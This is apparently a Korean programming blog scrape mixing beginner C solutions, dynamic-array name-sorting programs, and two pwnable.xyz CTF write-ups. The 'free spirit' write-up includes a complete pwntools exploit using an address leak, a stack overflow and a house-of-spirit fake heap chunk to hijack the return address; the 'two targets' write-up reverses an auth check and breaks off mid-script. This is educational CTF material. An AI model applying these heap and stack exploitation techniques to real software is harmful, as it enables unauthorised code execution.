문제

자연수 M과 N이 주어질 때 M이상 N이하의 자연수 중 소수인 것을 모두 골라 이들 소수의 합과 최소값을 찾는 프로그램을 작성하시오.

 

예를 들어 M=60, N=100이 경우 60이상 100이하의 자연수 중 소수는 61, 67, 71, 73, 79, 83, 89, 97 총 8개가 있으므로, 

이들 소수의 합은 620이고, 최소값은 61이 된다.

 

입력형식

입력의 첫째 줄에 M이, 둘째 줄에 N이 주어진다.

M과 N은 10,000이하의 자연수이며, M은 N보다 같거나 작다.

 

출력형식

M이상 N이하의 자연수 중 소수인 것을 모두 찾아 첫째 줄에 그 합을, 둘째 줄에 그 중 최소값을 출력한다.

단, M이상 N이하의 자연수 중 소수가 없을 경우는 첫째 줄에 -1을 출력한다.

 

<코드>

#include <stdio.h>
#include <math.h>

//return 0: prime return 1: composite
int check_prime(int N)
{
	int sq, count=0;
	
	if(N == 1)
		return 1;
	
	sq = (int)sqrt(N);

	for (int i = 2; i <= sq; i++)
	{
		if (!(N%i))
		{
			count++;
		}
		
		if(count>0)
			break;
	}
	
	return count;
}

int main()
{
	int x, y, prime;
	int sum=0, first=0;
	
	scanf("%d %d", &x, &y);
	
	for(int i=x; i<=y; i++)
	{
		prime = check_prime(i);
		if(!prime)
		{
			if(!first)
				first = i;
			sum+=i;
		}
	}
	
	if(sum)
		printf("%d\n%d\n", sum, first);
	else
		printf("-1\n");
	
	return 0;
}

'코딩 > Beginner Coder' 카테고리의 다른 글

2813 : 소수의 개수  (0) 2020.05.29
1901 : 소수 구하기  (0) 2020.05.29
2811 : 소수와 합성수  (0) 2020.05.28
1009 : 각 자리수의 역과 합(Number Reverse)  (0) 2020.05.28
1002 : 최대공약수, 최소공배수  (0) 2020.05.26

문제

소수(prime number)란 1보다 큰 자연수 중 1과 자기 자신 두 개만을 약수로 갖는 수를 말한다.
합성수(composite number)란 1보다 큰 자연수 중 소수가 아닌 수를 말하며 3개 이상의 약수를 갖는다.
1은 소수도 합성수도 아니다.
5개의 자연수를 입력받아 소수인지 합성수인지를 판단하는 프로그램을 작성하시오.

 

입력형식

10억 이하의 자연수 5개가 공백으로 구분되어 주어진다.

 

출력형식

입력된 순서대로 한 줄에 한 개씩 소수이면 "prime number",

합성수이면 "composite number", 

소수도 합성수도 아니면 "number one"이라고 출력한다.

 

<코드>

#include <stdio.h>
#include <math.h>

void check_prime(int N)
{
	int sq, count=0;
	
	if(N==1)
	{
		printf("number one\n");
		return;
	}
	
	sq = (int)sqrt(N);

	for (int i = 2; i <= sq; i++)
	{
		if (!(N%i))
		{
			count++;
		}
		
		if(count>0)
			break;
	}
	
	if(!count)
		printf("prime number\n");
	else
		printf("composite number\n");
}

int main()
{
	int arr[5];
	
	for(int i=0; i<5; i++)
		scanf("%d", &arr[i]);
	
	for(int i=0; i<5; i++)
		check_prime(arr[i]);
	
	return 0;
}

'코딩 > Beginner Coder' 카테고리의 다른 글

1901 : 소수 구하기  (0) 2020.05.29
1740 : 소수  (0) 2020.05.28
1009 : 각 자리수의 역과 합(Number Reverse)  (0) 2020.05.28
1002 : 최대공약수, 최소공배수  (0) 2020.05.26
1658 : 최대공약수와최소공배수  (0) 2020.05.26

문제

양의 정수를 입력받아 역으로 보여주고 각 자리 숫자의 합을 구하는 프로그램을 작성하라.

 

입력형식

21억 이하의 양의 정수를 입력받는다. 잘못된 데이터는 입력되지 않는다. 

하나의 결과가 나온 후에도 계속 새로운 입력을 받다가 0이 입력되면 프로그램을 종료한다.

최대 10개의 양의 정수가 입력될 수 있다.

 

출력형식

입력받은 수의 역과 각 자리 숫자의 합을 공백으로 구분하여 출력한다.

유효하지않은 "0"은 출력하지 않는다. 

입력받은 수의 역도 21억 이하의 정수이다.

 

<코드>

#include<stdio.h>

int main()
{
	int N, num, sum;
	int start=0;
	
	while(1)
	{
		scanf("%d", &N);
		
		if(!N)
			break;
		
		sum=start = 0;
		for(int i=1; N/i!=0; i*=10)
		{
			num = (N%(i*10))/i;
			if(num)
				start = 1;
			
			if(start)
			{
				printf("%d", num);
				sum += num;
			}
		}
		printf(" %d\n", sum);
	}
	
	
	return 0;
}

'코딩 > Beginner Coder' 카테고리의 다른 글

1740 : 소수  (0) 2020.05.28
2811 : 소수와 합성수  (0) 2020.05.28
1002 : 최대공약수, 최소공배수  (0) 2020.05.26
1658 : 최대공약수와최소공배수  (0) 2020.05.26
2809 : 약수  (0) 2020.05.26

프로그램의 기능은 Dynamic array를 구현했던 프로그램과 동일하다.

 

1. load_names와 compare 함수의 기능을 수정하였으며 binary search를 수행한다.
2. 새로운 이름이 들어오면 제일 뒤에 추가하는 것이 아니라 정렬된 리스트를 유지하도록 위치를 찾아 삽입한다.
3. memmove함수를 사용해 구조체가 삽입될 위치 뒤에있는 리스트를 한칸씩 민다.

 

사용된 구조체도 이전 프로그램과 동일하다.

 

[tNames]

typedef struct {
	int		len;		// 배열에 저장된 이름의 수
	int		capacity;	// 배열의 용량 (배열에 저장 가능한 이름의 수)
	tName	*data;		// 이름 배열의 포인터
} tNames;

 

[tName]

typedef struct {
	char	name[20];		// 이름
	char	sex;			// 성별 M or F
	int		freq[MAX_YEAR_DURATION]; // 연도별 빈도
} tName;

 

해당 프로그램에는 총 6개의 함수가 정의되어 있다.

1. create_names: 이름 구조체를 초기화해준다.(len을 0으로, capacity를 1로 초기화한 후 구조체 포인터를 return한다)

2. load_names: 입력 파일을 읽어들인다.

3. compare: bsearch를 위한 비교 함수이다.

4. print_names: 구조체 배열을 화면에 출력해준다.

5. destroy_names: 이름 구조체 메모리를 해제해준다.

6. binary_search: 이진 탐색 함수이다. key가 발견되는 경우 배열의 인덱스를 return하고
key가 발견되지 않는 경우에 key가 삽입되어야 할 배열의 인덱스가 return된다.

 

수정된 함수와 새로 생긴 binary_search함수만 확인해보자.

 

[compare]

int compare( const void *n1, const void *n2)
{
	int result;
	
	result =  strcmp((const char *)n1, (const char *)n2);
	if(result)
		return result;
	else
	{
		result = (unsigned int)(*((char *)n1 + 20) - *((char *)n2 + 20));
		return result;
	}
}

 

이름을 strcmp를 이용해 비교한 뒤 만약 이름이 같다면 성별 변수에 접근하여 성별이 같은지에 대한 여부를 return하도록 수정하였다.

 

[binary_search]

int binary_search( const void *key, const void *base, size_t nmemb, size_t size, int (*compare)(const void *, const void *))
{
	int first = 0;
	int last = nmemb - 1;
	int mid, check;
	
	while(first <= last)
	{
		mid = (first + last)/2;
		
		check = compare(key, base + size*mid);
		if(!check)
			return mid;
		if(check <= 0)
			last = mid-1;
		else
			first = mid+1;
	}
	
	return first;
}

 

binary search를 수행하여 이름 구조체가 삽입될 위치를 return해준다.

 

[load_names]

void load_names(FILE *fp, int year_index, tNames *names)
{
	char *i = 0;
	int *key = 0;
	char tmp[100];
	tName input;
	int index;
	
	while(fgets(tmp, sizeof(tmp), fp))
	{
		//comma -> tab
		for(i = tmp; ; i++)
		{
			if(!*i)
				break;
			if(*i == ',')
				*i = '\t';
		}
		sscanf(tmp, "%s\t%c\t%d", input.name, &input.sex, &input.freq[0]);
		
		//compare함수에서 +20부분에 sex가 위치해야 함. -> tName 구조체 이용.
		key = bsearch(input.name, names->data, names->len, 64, compare);
		
		if(key)	
		{
			key[year_index + 6] = input.freq[0];	//name(20) + sex(4) + freq
		}
		else
		{
			//full memory
			if(names->capacity == names->len)
			{
				names->data = (tName*)realloc(names->data, names->capacity * 2 * sizeof(tName));
				assert(names->data != NULL);
				if(!names->data)
				{
					fprintf(stderr, "Insufficient memory capacity!");
					return;
				}
				names->capacity *= 2;
			}
			
			index = binary_search(input.name, names->data, names->len, 64, compare);
			
			memmove(&(names->data[index+1]), &(names->data[index]), ((names->len)-index)*64);
			
			strcpy(names->data[index].name, input.name);
			names->data[index].sex = input.sex;
			memset(names->data[index].freq, 0, 40);
			names->data[index].freq[year_index] = input.freq[0];
			names->len++;
		}
	}
}

 

대략적인 구조는 이전과 동일하지만 bsearch함수를 사용하여 이름이 삽입될 위치를 확인하고 기존에 존재했던 이름이면 freq변수의 해당 연도 인덱스에 추가만해주고 기존에 존재하지 않았던 이름이라면 메모리 확인을 해준 후 binary_search함수를 사용해서 tName배열에 삽입될 index를 return받은 뒤 memmove로 그 뒤에 있는 리스트를 한칸씩 미룬 후 그 위치에 이름, 성별, 빈도를 저장한다.

 

[전체 코드&이름 파일]

GeneralList.zip
1.12MB

'자료구조' 카테고리의 다른 글

Dynamic array 구현(동적 배열)  (2) 2020.05.26

 

메모리 해제를 하는 free가 오작동을 한다고 한다.

 

Full RELRO, Canary, NX가 걸려있는 64bit 바이너리이다.

 

 

아주 단순한 동작을 한다. 문자열을 입력받고 끝이다. 아마 여기서 malloc으로 메모리를 할당받고 해제하는 것을 까먹던가... UAF가 터지거나.. 그렇겠지?

 

[main]

// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *v3; // rdi
  signed __int64 i; // rcx
  int v5; // eax
  __int64 v7; // [rsp+8h] [rbp-60h]
  char *buf; // [rsp+10h] [rbp-58h]
  char nptr; // [rsp+18h] [rbp-50h]
  unsigned __int64 v10; // [rsp+48h] [rbp-20h]

  v10 = __readfsqword(0x28u);
  setup(*(_QWORD *)&argc, argv, envp);
  buf = (char *)malloc(0x40uLL);
  while ( 1 )
  {
    while ( 1 )
    {
      _printf_chk(1LL, (__int64)"> ");
      v3 = &nptr;
      for ( i = 12LL; i; --i )
      {
        *(_DWORD *)v3 = 0;
        v3 += 4;
      }
      read(0, &nptr, 0x30uLL);
      v5 = atoi(&nptr);
      if ( v5 != 1 )
        break;
      __asm { syscall; LINUX - sys_read }
    }
    if ( v5 <= 1 )
      break;
    if ( v5 == 2 )
    {
      _printf_chk(1LL, (__int64)"%p\n");
    }
    else if ( v5 == 3 )
    {
      if ( (unsigned int)limit <= 1 )
        _mm_storeu_si128((__m128i *)&v7, _mm_loadu_si128((const __m128i *)buf));
    }
    else
    {
LABEL_16:
      puts("Invalid");
    }
  }
  if ( v5 )
    goto LABEL_16;
  if ( !buf )
    exit(1);
  free(buf);
  return 0;
}

엄청 단순할거라고 생각했는데 생각보다는 조금 긴 main코드이다.

 

0x30byte인 ptr을 모두 0으로 초기화해주고 read함수를 이용해서  0x30byte만큼 입력 받는다.

만약 1을 입력받으면 

__asm { syscall; LINUX - sys_read }

위의 코드를 실행시키고 2를 입력받으면

_printf_chk(1LL, (__int64)"%p\n");

위의 코드를 실행시키고 마지막으로 3을 입력받으면

if ( (unsigned int)limit <= 1 )
        _mm_storeu_si128((__m128i *)&v7, _mm_loadu_si128((const __m128i *)buf));

위의 코드를 실행시키고 그 외에는 모두 break를 해준다.

 

마지막으로 buf가 null이 아니라면 free(buf)를 해준다. 여기서 buf는 malloc으로 0x40만큼 할당되어 있는 메모리이다.

 

그러면 nptr에 "3"이 입력됐을 때를 주목해보자. __mm_storeu_si128은 intel intrinsics로 movdqu에 대응된다. movdqu는 128bit 레지스터나 메모리에 정렬되지 않은 값을 옯길 때 쓰는 명령어이다.

즉, buf에 저장된 16byte 값을 v7로 옮겨주는데 여기서 v7은 8byte 변수이기 때문에 8byte 오버플로우가 발생한다. 

 

디버거로 분석을 해보자.

 

nptr에 "3"을 입력했을 때 부분이다. rax가 buf가 저장되어 있는 부분이고 rsp+0x8이 v7 부분일 것이다. +201에 bp를 걸고 메모리를 확인해보았다.

 

 

0x7fffffffde30에는 malloc으로 0x40만큼 할당된 buf의 주소가 들어있는데 이 부분을 overwrite할 수 있다. 0x7fffffffde38에는 내가 입력한 값이 들어있다.

 

nptr에 "1"을 입력했을 때도 확인해보자.

 

이 부분이고 syscall table을 확인해보면

 

read(0, &rsp+0x10, 0x20)을 실행시키는 부분인 것을 확인할 수 있다. &rsp+0x10은 buf를 가르키고 있으므로 "1"을 입력하게 된다면 buf에 0x20만큼 입력을 받게 된다.

 

nptr에 "2"를 입력했을때이다.

 

 

0x4007a0은 당연히 printf_chk일 것이다.

 

 

"2"를 입력했을 때는 r12레지스터에 있는 값을 16진수로 출력해준다. 이때 r12에는 buf의 주소가 있다. "2"는 buf의 주소를 leak해주는 역할을 한다.

 

buf+0x58위치에 ret가 존재하므로 ret의 주소를 leak할 수 있다.

 

 

이렇게 ret주소를 leak해준다.

 

이제 공격 시나리오를 생각해보자.

 

1. ret 주소를 leak한다.

2. "1"을 입력하여 buf에 dummy(8byte)+ret address를 적어준다.

3. "3"을 입력하여 v7에  dummy 8byte를 입력하고 buf의 주소를 ret address로 바꿔준다.

4. 다시 "1"을 입력하여 ret address에 win함수의 주소를 적는다.

 

이러한 시나리오대로 payload를 짜게 되면

 

이런 오류가 발생하게 된다. 아마 마지막에 buf를 free해주는데 buf의 주소가 return address로 바뀌어 정상적인 heap구조가 아니기 때문에 이러한 오류가 발생하는 것 같다.

 

이러한 부분은 house of spirit으로 해결하면 된다. 그래서 문제 타이틀이 free spirit이었나?

House of spirit은 fastbin을 공격하는 기법으로, 특정 메모리를 해제하고 같은 크기만큼 메모리를 재할당하게 되면 같은 주소를 반환하는 fastbin의 특성을 이용하여 원하는 주소에 원하는 값을 쓸 수 있도록 해준다. 동작 과정은 이렇다.

 

1. ptr 포인터 변수에 0x30만큼의 chunk를 할당받는다. => ptr = malloc(0x30)

2. fake chunk1의 size 값을 지정한다. => free():invalid size오류 회피

3. fake chunk2의 size 값을 지정한다. => free():invalid next size오류 회피

※이 때 size값은 같은 값으로 해도 되고 top chunk처럼 큰 값으로 해도 된다.

4. chunk의 포인터를 원래의 정상적인 chunk가 아닌 fake chunk1을 가르키도록 한다.

5. chunk를 해제시킨다.

 

이렇게 되면 fake chunk1이 해제되어 fast bin에 들어가고, 같은 크기의 메모리가 할당될 때 fake chunk1이 다시 나타나는 그런 방법인데 여기서는 그냥 free만 무사히 시키면 되니까 8로 끝나는 주소에 size만 넣어줘서 fake chunk를 만들어주면 된다.

 

PIE는 걸려있지 않으므로 쓰기 권한이 있는 영역을 대충 골라서 fack chunk를 만들어준다.

 

 

bss영역인 0x601038쯤에 size를 적고 0x601040free()의 인자로 주자. size로는 적당히 0x30정도를 넣고 0x30만큼 뒤인 0x601068next chunk size로 아무 값이나 넣어주면 size check를 통과할 수 있을 것이다.

그러면 공격 시나리오를 다시 생각해보자.

 

1. ret 주소를 leak한다.

2. "1"을 입력하여 buf에 dummy(8byte)+ret address를 적어준다.

3. "3"을 입력하여 v7에  dummy 8byte를 입력하고 buf의 주소를 ret address로 바꿔준다.

4. 다시 "1"을 입력하여 ret address에 win함수의 주소+0x601038(fake chunk1 size address)를 넣는다.

=> return address에는 win의 주소로 세팅이 완료된 상태이고 free만 우회해주면 된다.

5. "3"을 입력하여 buf의 주소를 fake chunk1 size address의 주소로 바꾸어 준다.

6. "1"을 입력하여 fack chunk1 size address에 0x30와 fake chunk2 size address를 뒤에 적어준다.

7. "3"을 입력하여 buf의 주소를 fake chunk2 size address의 주소로 바꾸어 준다.

8. "1"을 입력하여 fake  chunk2 size address에 0x30와 fake chunk1 address(0x601040)를 뒤에 적어준다..

9. "3"을 입력하여 buf의 주소를 fake chunk1 address(0x601040)으로 바꾸어준다.

 

이런식으로 payload를 짜보자.

 

[payload]

from pwn import *

context.log_level = 'debug'

r = remote("svc.pwnable.xyz", 30005)
#r = process('./challenge')
e = ELF('./challenge')
win = e.symbols['win']

#return address leak
r.sendlineafter("> ", "2")
ret = int(r.recvline()[:-1], 16) + 0x58
print "ret address:" + hex(ret)

#save return address
payload = ''
payload += "A"*8
payload += p64(ret)

r.sendlineafter("> ", "1")
r.sendline(payload)
r.sendlineafter("> ", "3")

#set fake chunk
fake_chunk = 0x601040
r.sendlineafter("> ", "1")

#set fake chunk1 size
payload = p64(win) + p64(fake_chunk - 0x8)
r.sendline(payload)
r.sendlineafter("> ", "3")
r.sendlineafter("> ", "1")

payload = p64(0x30) + p64(fake_chunk - 0x8 + 0x30)
r.sendline(payload)
r.sendlineafter("> ", "3")

#set fake chunk2 size
r.sendlineafter("> ", "1")

payload = p64(0x30) + p64(fake_chunk)
r.sendline(payload)
r.sendlineafter("> ", "3")

#return
r.sendlineafter("> ", "0")

r.interactive()

 

성공이다~!

'pwnable > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] Jmp table  (0) 2020.05.30
[pwnable.xyz] TLSv00  (0) 2020.05.29
[pwnable.xyz] two targets  (0) 2020.05.26
[pwnable.xyz] xor  (0) 2020.05.19
[pwnable.xyz] note  (0) 2020.05.08

문제

n개의 정수를 입력받아서 최대공약수와 최소공배수를 구하는 프로그램을 작성하여 보자.

 

입력형식

첫째 줄에 N (2≤N≤10) 을 입력받고 다음 줄에 N개의 정수를 공백으로 구분하여 입력받는다.

입력받는 정수는 2이상 10 000 이하이다.데이터의 크기가 주어진 범위를 벗어나는 입력은 없다.

 

출력형식

입력받은 정수들의 최대공약수와 최소공배수를 공백으로 구분하여 출력한다.

최소공배수는 20억 이하의 정수이다.

 

<코드>

#include <stdio.h>

int gcd_get(int x, int y)
{	
	int result = 1;
	
	for(int i=1; i<=x; i++)
	{
		if(!(x%i) && !(y%i))
			result = i;
	}
	
	return result;
}

int lcm_get(int x, int y)
{
	return x*y/gcd_get(x,y);
}

int main()
{
	int N;
	int arr[10] = {0, };
	int gcd, lcm;
	
	scanf("%d", &N);
	
	for(int i=0; i<N; i++)
		scanf("%d", &arr[i]);
	
	gcd = lcm = arr[0];
	
	for(int i=1; i<N; i++)
	{
		gcd = gcd_get(gcd, arr[i]);
		lcm = lcm_get(lcm, arr[i]);
	}
	
	printf("%d %d", gcd, lcm);
	
	return 0;
}

'코딩 > Beginner Coder' 카테고리의 다른 글

2811 : 소수와 합성수  (0) 2020.05.28
1009 : 각 자리수의 역과 합(Number Reverse)  (0) 2020.05.28
1658 : 최대공약수와최소공배수  (0) 2020.05.26
2809 : 약수  (0) 2020.05.26
1402 : 약수 구하기  (0) 2020.05.25

문제

두개의 자연수를 입력받아 최대 공약수와 최소 공배수를 출력하는 프로그램을 작성하시오.

 

입력형식

입력 파일의 첫째 줄에는 두 개의 자연수가 주어진다.이 둘은 10,000이하의 자연수이며 사이에 한 칸의 공백이 주어진다.

 

출력형식

첫째 줄에는 입력으로 주어진 두 수의 최대공약수를 둘째 줄에는 입력으로 주어진 두 수의 최소 공배수를 출력한다.

 

<코드>

#include <stdio.h>

int gcd_get(int x, int y)
{	
	int result = 1;
	
	for(int i=1; i<=x; i++)
	{
		if(!(x%i) && !(y%i))
			result = i;
	}
	
	return result;
}

int lcm_get(int x, int y)
{
	return x*y/gcd_get(x,y);
}

int main()
{
	int x, y;
	
	scanf("%d %d", &x, &y);
	
	printf("%d\n%d\n", gcd_get(x,y), lcm_get(x,y));
	
	return 0;
}

'코딩 > Beginner Coder' 카테고리의 다른 글

1009 : 각 자리수의 역과 합(Number Reverse)  (0) 2020.05.28
1002 : 최대공약수, 최소공배수  (0) 2020.05.26
2809 : 약수  (0) 2020.05.26
1402 : 약수 구하기  (0) 2020.05.25
1071 : 약수와 배수  (0) 2020.05.25

문제

한 개의 정수를 입력받아 입력받은 정수의 약수를 모두 출력하는 프로그램을 작성하시오.

 

입력형식

정수 N이 주어진다. (2 ≤ N ≤ 21억)

 

출력형식

N의 약수를 작은 수부터 차례로 모두 출력한다.

 

<코드>

#include <stdio.h>
#include <math.h>

int main()
{
	int N, sq; //sq: N의 제곱근
	int arr[100000] = { 0, }; //약수
	int count = 0, tmp;

	scanf("%d", &N);

	sq = (int)sqrt(N);

	for (int i = 1; i <= sq; i++)
	{
		if (!(N%i))
		{
			arr[count++] = i;
			if (N / i != i)
				arr[count++] = N / i;
		}
	}

	for (int i = count - 1; i >= 0; i--)
	{
		for (int j = 0; j<i; j++)
		{
			if (arr[j]>arr[j + 1])
			{
				tmp = arr[j];
				arr[j] = arr[j + 1];
				arr[j + 1] = tmp;
			}
		}
	}

	for (int i = 0; i<count; i++)
		printf("%d ", arr[i]);

	return 0;
}

'코딩 > Beginner Coder' 카테고리의 다른 글

1002 : 최대공약수, 최소공배수  (0) 2020.05.26
1658 : 최대공약수와최소공배수  (0) 2020.05.26
1402 : 약수 구하기  (0) 2020.05.25
1071 : 약수와 배수  (0) 2020.05.25
1430 : 숫자의 개수  (0) 2020.05.25

연도별 입력 파일을 읽어들어서 이름 정보(이름, 성별, 빈도)를 이름 구조체에 저장한 후 사전순서대로 이름을 정렬하여 출력하는 프로그램을 구현해보자. 프로그램 실행 시 인자로 파일의 이름을 넣어줘야 한다.

 

1. 이미 구조체에 존재하는 이름은 해당 연도의 빈도만 저장될 수 있도록 한다.
2. 새로 등장한 이름은 구조체에 추가한다.
3. 동일 이름이 남자와 여자 각각 사용될 수 있으므로 이름과 성별을 구별해야 한다.
4. names->capacity 는 2배씩 증가한다.

 

사용되는 구조체는 이름 배열의 포인터를 가지고 있는 tNames, 이름 정보를 담고 있는 tName.

 

[tNames]

typedef struct {
	int		len;		// 배열에 저장된 이름의 수
	int		capacity;	// 배열의 용량 (배열에 저장 가능한 이름의 수)
	tName	*data;		// 이름 배열의 포인터
} tNames;

 

[tName]

typedef struct {
	char	name[20];		// 이름
	char	sex;			// 성별 M or F
	int		freq[MAX_YEAR_DURATION]; // 연도별 빈도
} tName;

 

 

이러한 형태의 구조체를 가지고 있다.

 

총 5개의 함수가 정의된다.

 

1. create_names: 이름 구조체를 초기화해준다.(len을 0으로, capacity를 1로 초기화한 후 구조체 포인터를 return한다)

2. load_names: 입력 파일을 읽어들인다.

3. compare: name을 사전 순대로 qsort하기 위한 비교 함수이다.

4. print_names: 구조체 배열을 화면에 출력해준다.

5. destroy_names: 이름 구조체 메모리를 해제해준다.

 

[create_names]

tNames *create_names(void)
{
	tNames *pnames = (tNames *)malloc( sizeof(tNames));
	
	pnames->len = 0;
	pnames->capacity = 1;
	pnames->data = (tName *)malloc(pnames->capacity * sizeof(tName));

	return pnames;
}

 

pnames에 malloc으로 tNames 의 구조체를 할당해주고 len은 0, capacity는 1, data는 capacity*tName구조체의 크기만큼 할당해준 후 pnames를 return해준다.

 

[load_names]

void load_names(FILE *fp, int year_index, tNames *names)
{
	char *i;
	int j, check = 0;
	char tmp[100];
	char name[40];
	char sex;
	int freq;
	
	while(fgets(tmp, sizeof(tmp), fp))
	{
		//comma -> tab
		for(i = tmp; ; i++)
		{
			if(!*i)
				break;
			if(*i == ',')
				*i = '\t';
		}
		sscanf(tmp, "%s\t%s\t%d", name, &sex, &freq);
		
		//check overlap
		for(j = 0; j < names -> len; j++)
		{
			if(!strcmp(name, names->data[j].name) && (sex == names->data[j].sex))
			{
				check = 1;
				names -> data[j].freq[year_index] = freq;
				break;
			}
			
		}	

		//no overlap
		if(!check)
		{
			//full memory
			if(names->capacity == names->len)
			{
				names->data = (tName*)realloc(names->data, names->capacity * 2 * sizeof(tName));
				assert(names->data != NULL);
				if(!names->data)
				{
					fprintf(stderr, "Insufficient memory capacity!");
					return;
				}
				names->capacity *= 2;
			}
			
			strcpy(names->data[names->len].name, name);
			names->data[names->len].sex = sex;
			memset(names->data[names->len].freq, 0, 40);
			names->data[names->len++].freq[year_index] = freq;
		}
		check = 0;
	}
		
	
}

 

파일에 이름, 성별, 빈도가 ","로 구분되어 있다. 파일을 한 줄씩 입력받으면서 ","를 tab으로 바꿔주고 sscanf로 tab을 구분 기호로 하여 name, sex, freq변수에 넣어준다.

 

이름을 입력받아서 중복 체크를 해준다. tName 구조체 배열의 길이만큼 구조체를 하나씩 확인하면서 성별과 이름이 같은 구조체가 있는지 확인한다. 만약 중복된 구조체가 존재한다면 freq의 해당 연도의 인덱스에 빈도를 저장한다.

 

만약 중복된 구조체가 존재하지 않는다면 tNames에 tName구조체를 추가해주어야 한다. 그 전에 capacity와 len이 같은지 확인하여 메모리가 꽉 차지 않았는지 확인해준다. 만약 메모리가 꽉찼다면 realloc을 사용해서 capacity*2만큼의 메모리를 재할당해준 후 capacity 값을 업데이트 해준다.

그 후 tNames의 data 배열 포인터 마지막에 name, sex, freq를 추가해주고 len값을 1 올려준다.

 

[compare]

int compare( const void *n1, const void *n2)
{
	return strcmp((const char *)n1, (const char *)n2);
}

 

strcmp함수를 이용해 사전순으로 정렬할 수 있도록 해준다.

 

[print_names]

void print_names(tNames *names, int num_year)
{
	int i, j;
	
	for(i = 0; i < names->len; i++)
	{
		printf("%s\t%c", names->data[i].name, names->data[i].sex);
		for(j = 0; j < num_year; j++)
			printf("\t%d", names->data[i].freq[j]);
		printf("\n");
	}
}

 

이름, 성별, 빈도 수를 tab을 구분 문자로 하여 출력해준다.

 

[destroy_names]

void destroy_names(tNames *pnames)
{
	free(pnames->data);
	pnames->len = 0;
	pnames->capacity = 0;

	free(pnames);
}	

 

tName구조체 배열의 메모리를 해제한 후 tNames의 메모리도 해제해준다.

 

 

[전체 코드&이름 파일]

동적배열.zip
1.11MB

'자료구조' 카테고리의 다른 글

General list 구현(동적 배열 + 정렬된 선형리스트)  (0) 2020.05.26

 

target이 두 개가 있나보다.

 

Partial RELRO, Canary, NX가 걸려있는 64bit 바이너리이다.

 

 

menu중에 특이하게 Get shell이란 선택지가 있다. 저 선택지가 눈에 띄는 target이고 뭐 숨겨져 있는 target도 있는... 그런 문제인가?

 

[main]

// local variable allocation has failed, the output may be wrong!
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char *v3; // rsi
  int v4; // eax
  char s; // [rsp+10h] [rbp-40h]
  __int64 v6; // [rsp+30h] [rbp-20h]
  char *v7; // [rsp+40h] [rbp-10h]
  unsigned __int64 v8; // [rsp+48h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  setup(*(_QWORD *)&argc, argv, envp);
  v3 = 0LL;
  memset(&s, 0, 0x38uLL);
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu();
      v4 = read_int32();
      if ( v4 != 2 )
        break;
      printf("nationality: ", v3);
      v3 = (char *)&v6;
      __isoc99_scanf((__int64)"%24s", (__int64)&v6);
    }
    if ( v4 > 2 )
    {
      if ( v4 == 3 )
      {
        printf("age: ", v3);
        v3 = v7;
        __isoc99_scanf((__int64)"%d", (__int64)v7);
      }
      else if ( v4 == 4 )
      {
        if ( (unsigned __int8)auth((__int64)&s) )
          win();
      }
      else
      {
LABEL_14:
        puts("Invalid");
      }
    }
    else
    {
      if ( v4 != 1 )
        goto LABEL_14;
      printf("name: ", v3);
      v3 = &s;
      __isoc99_scanf((__int64)"%32s", (__int64)&s);
    }
  }
}

 

nationality는 24byte까지 입력이 가능하고, age에는 정수가 입력되며 name에는 32byte까지 입력이 가능하다. 아까 확인했었던 Get shell을 선택하게 되면 auth(&s)가 0이 아니라면 win함수가 실행이 된다. 여기서 s는 name이 저장되는 변수이다.

 

[auth]

_BOOL8 __fastcall auth(__int64 a1)
{
  signed int i; // [rsp+18h] [rbp-38h]
  char s1[8]; // [rsp+20h] [rbp-30h]
  __int64 v4; // [rsp+28h] [rbp-28h]
  __int64 v5; // [rsp+30h] [rbp-20h]
  __int64 v6; // [rsp+38h] [rbp-18h]
  unsigned __int64 v7; // [rsp+48h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  *(_QWORD *)s1 = 0LL;
  v4 = 0LL;
  v5 = 0LL;
  v6 = 0LL;
  for ( i = 0; (unsigned int)i <= 0x1F; ++i )
    s1[i] = ((*(_BYTE *)(a1 + i) >> 4) | 16 * *(_BYTE *)(a1 + i)) ^ *((_BYTE *)main + i);
  return strncmp(s1, &s2, 0x20uLL) == 0;
}

 

name에 저장된 문자열을 특정 연산을 해준 후 s2와 같은지 확인을 해주고 있다.

 

 

s2는 다음과 같다. 아마 첫 번째 타겟은 이 함수를 리버싱해서 win을 호출하는 것 같다.

 

for ( i = 0; (unsigned int)i <= 0x1F; ++i )

    s1[i] = ((*(_BYTE *)(a1 + i) >> 4) | 16 * *(_BYTE *)(a1 + i)) ^ *((_BYTE *)main + i);

 

이 부분의 연산을 분석해보자.

a1[i]를 왼쪽으로 4bit shift한 값과 a1[i]를 오른쪽으로 4bit shift해준 것을 or연산을 해주고 main[i]랑 xor해주고 있다.

 

main부분의 코드에서 20byte를 긁어와서 코드를 짜주면 된다. 

 

1. tmp1 = a1[i] << 4

2. tmp2 = a1[i] >> 4

3. tmp3 = tmp1 | tmp2

4. tmp3 ^ main[i]

 

이 과정을 역연산해서 payload를 짜줬다.

 

참고

"11110000" 이런 1byte 값으로 해당 연산을 해본다고 가정해보자.

왼쪽으로 4bit shift해주면 "11110000(0000)"이 남고 오른쪽으로 4bit shift해주면 "1111"이 남는다. 각각 원래값+0000과상위 4bit가 남게 된다. 이를 or연산 해주면 "111100001111"로 원래 값 + 상위 4bit가 나온다.

그런데 BYTE연산이니까 결국은 하위 4bit + 상위 4bit로 4bit단위로 앞뒤가 바뀐 결과가 나온다.

 

 

[payload]

from pwn import *
context.log_level = 'debug'

r = remote('svc.pwnable.xyz', 30031)

s2 = [0x11,0xde,0xcf,0x10,0xdf,0x75,
	0xbb,0xa5,0x43,0x1e,0x9d,0xc2,0xe3,
	0xbf,0xf5,0xd6,0x96,0x7f,0xbe,0xb0,
	0xbf,0xb7,0x96,0x1d,0xa8,0xbb,0x0a,
	0xd9,0xbf,0xc9,0x0d,0xff]

main = [0x55,0x48,0x89,0xe5,0x48,0x83,0xec,
	0x50,0x64,0x48,0x8b,0x04,0x25,0x28,
	0x00,0x00,0x00,0x48,0x89,0x45,0xf8,
	0x31,0xc0,0xe8,0x24,0xfe,0xff,0xff,
	0x48,0x8d,0x45,0xc0]

result = []

for i in range(0x20):
	tmp = s2[i] ^ main[i]
	result.append(hex((tmp>>4) | ((tmp<<4)&0xff)))


payload = ''
